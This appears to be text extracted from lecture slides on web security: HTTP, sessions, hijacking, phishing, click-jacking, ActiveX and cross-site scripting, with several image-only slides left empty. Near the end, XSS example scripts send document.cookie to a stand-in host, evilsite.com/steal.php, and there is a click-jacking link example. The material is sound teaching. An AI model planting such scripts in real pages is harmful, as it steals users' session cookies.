Web Security
Web Security
WEB SECURITY
Web Security 08/30/2021
• A web site contains pages of text and images interpreted by a web browser
• A web browser identifies a web site with a uniform resource locator (URL)
• The web browser uses Domain Name System (DNS) to determine the IP address of the web server.
• The hypertext transfer protocol (HTTP) is used to retrieve the requested web page
• The client/web browser makes a TCP connection to a specified port on the web server, by default 80 for
HTTP.
Web Security 08/30/2021
• HTTP requests typically begin with a request line, usually consisting of a command such as GET or
POST.
• HTTP responses deliver the content to the browser along with a response header.
• The response header includes info about the server such as the type and version number.
• Good security practices alter the default server response to not include this info.
• Hypertext markup language (HTML) provides a structural description of a document, rendered by
web browser
Web Security 08/30/2021
• HTML features
• Static document description language
• Supports linking to other pages and embedding images by reference
• User input sent to server via forms
• No encryption provided
• HTML extensions
• Additional media content (e.g., PDF, video) supported through plugins
• Embedding programs in supported languages (e.g., JavaScript, Java) provides dynamic content
that interacts with the user, modifies the browser user interface, and can access the client
computer environment
Web Security 08/30/2021
HTML FORMS
• Dynamic content in a web page can change in response to user interaction or other
conditions such as passage of time.
• A scripting language is a programming language that provides instructions to be executed
inside an application.
• Client-side scripting language is delivered to the browser and executed by the browser.
• Server-side scripting language is executed on the server, hiding the code from the user
and presenting only the output of the code.
Web Security 08/30/2021
JAVASCRIPT
MORE ON COOKIES
SERVER-SIDE SESSIONS
• A final method of maintaining session information is to devote space on the web server for keeping user
information.
• Servers use a session ID, a unique identifier that corresponds to a user’s session.
• The space and processing required of the server to keep track all of its users’ sessions.
• Used in shopping cart.
Web Security 08/30/2021
• Session Hijacking
• Intercept communication
between client and server
• Impersonate whatever measures
are being used to maintain HTTP
session
Web Security 08/30/2021
• Replay attacks
• Incorporate random numbers
• Change session tokens frequently
• Associate a session token with the IP address of the client
Web Security 08/30/2021
7.2.2 PHISHING
PHISHING EXAMPLE
http://www.anti-phishing.com
Web Security
URL OBFUSCATION
7.2.3 CLICK-JACKING
• A user’s mouse click on a page is used in a way that was not intended by the user.
• Click-jacking attack
<a onMouseUp="window.open(′http://www.evilsite.com′)"
href="http://www.trustedsite.com/">Trust me!</a>
7.2.3 CLICK-JACKING
• Other Javascript event handlers such as onMounseOver can trigger an action whenever
a user simply moves their mouse over that element.
• Most online advertisers pay the sites that host their advertisements based on the number
of click-throughs.
• Forcing users to unwillingly click on advertisements raises the fraudulent site’s revenue.
Which is known as click fraud.
Web Security 08/30/2021
MOBILE CODE
• Examples
• JavaScript
• ActiveX
• Java Plugins
• Integrated Java Virtual Machines
Web Security 08/30/2021
JAVASCRIPT
window.open("http://brown.edu")
Web Security 08/30/2021
AUTHENTICODE IN ACTIVEX
TRUSTED/UNTRUSTED ACTIVEX
CONTROLS
• Trusted publishers
• List stored in the Windows registry
• Malicious ActiveX controls can modify the registry table to make their publisher trusted
• All future controls by that publisher run without prompting user
• Unsigned controls
• The prompt states that the control is unsigned and gives an accept/reject option
• Even if you reject the control, it has already been downloaded to a temporary folder where it
remains
• It is not executed if rejected, but not removed either
Web Security 08/30/2021
• Threats:
• Phishing, hijacking, changing of user settings, cookie theft/poisoning, false advertising ,
execution of code on the client, ...
Web Security 08/30/2021
• Attack 1
<script>
document.location = "http://www.evilsite.com/steal.php?cookie="+document.cookie;
</script>
Redirect visitor to the attacker’s site and
concatenate the user’s cookies to the URL as a
• Attack 2 GET parameter for the steal.php page.
<script>
img = new Image();
img.src = "http://www.evilsite.com/steal.php?cookie=" + document.cookie;
</script>
The victim’s browser makes a request to this URL for the image, passing the cookie to
the user without displaying any results.
Web Security 08/30/2021
XSS PREVENTIONS
From wikipedia
Web Security 08/30/2021
SQL INJECTION
•?